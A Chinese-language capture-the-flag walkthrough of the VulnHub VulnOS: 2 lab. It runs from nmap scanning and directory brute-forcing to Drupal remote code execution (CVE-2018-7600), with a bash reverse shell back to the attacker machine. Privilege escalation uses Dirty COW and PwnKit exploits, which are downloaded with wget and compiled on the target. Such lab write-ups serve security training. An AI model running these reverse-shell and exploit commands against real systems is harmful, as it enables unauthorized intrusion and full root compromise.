一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.4)
靶机:VulnOS: 2(10.0.2.14)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/vulnos-2,147/
二、信息收集
使用nmap主机发现靶机ip:10.0.2.14
使用nmap端口扫描发现靶机开放端口:22、80、6667
nmap -A 10.0.2.14 -p 1-65535
**22端口:**根据nmap扫描结果,22端口安装OpenSSH 6.6.1p1
,该版本存在用户名枚举漏洞
下载exp,枚举用户名
python cve-2018-15473-1.py --port 22 --userList ../../user.txt 10.0.2.14
**80端口:**打开网站未发现什么功能点,查看源码也没有发现什么隐藏信息
使用gobuster和dirbuster工具进行目录爆破,发现一个目录/jabc/
gobuster dir -u http://10.0.2.14 -x txt,php,html,bak,sql,xml --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
访问/jabc/
目录
使用droopescan工具判断网站的CMS,结果为drupal 7.2
droopescan scan -u http://10.0.2.14/jabc/
三、漏洞利用
使用searchsploit搜索drupal 7.2
的历史漏洞
searchsploit搜索的exp有点问题,直接在github找一个exp:CVE-2018-7600
python CVE-2018-7600.py http://10.0.2.14/jabc/ -c 'id'
反弹shell
python CVE-2018-7600.py http://10.0.2.14/jabc/ -c '''bash -c "bash -i >& /dev/tcp/10.0.2.4/4444 0>&1"'''
获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
四、提权
使用命令uname -a
查看系统的内核版本,为Linux VulnOSv2 3.13.0-24-generic
使用cat /etc/*-release
命令查看靶机的发行版本为:Ubuntu 14.04.4 LTS
并且靶机存在gcc环境
使用经典的脏牛漏洞,该漏洞影响 Linux 2.6.22 版本至 4.6 版本的所有 Linux 系统。
将exp下载下来,使用web服务上传到靶机,并编译执行,该exp会在/etc/passwd
文件写入一个具有root权限的用户:firefart
cd /tmp
wget http://10.0.2.4/CVE-2016-5195.c
gcc -pthread CVE-2016-5195.c -o CVE-2016-5195 -lcrypt
./CVE-2016-5195
虚拟机直接崩溃,重启一下就好了
使用命令find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件,发现存在/usr/lib/policykit-1/polkit-agent-helper-1
,该版本的polkit存在提权漏洞:CVE-2021-4034
使用web服务器将exp上传到靶机,编译执行,得到root权限
cd /tmp
wget http://10.0.2.4/CVE-2021-4034.c
gcc CVE-2021-4034.c -o CVE-2021-4034
./CVE-2021-4034
获取flag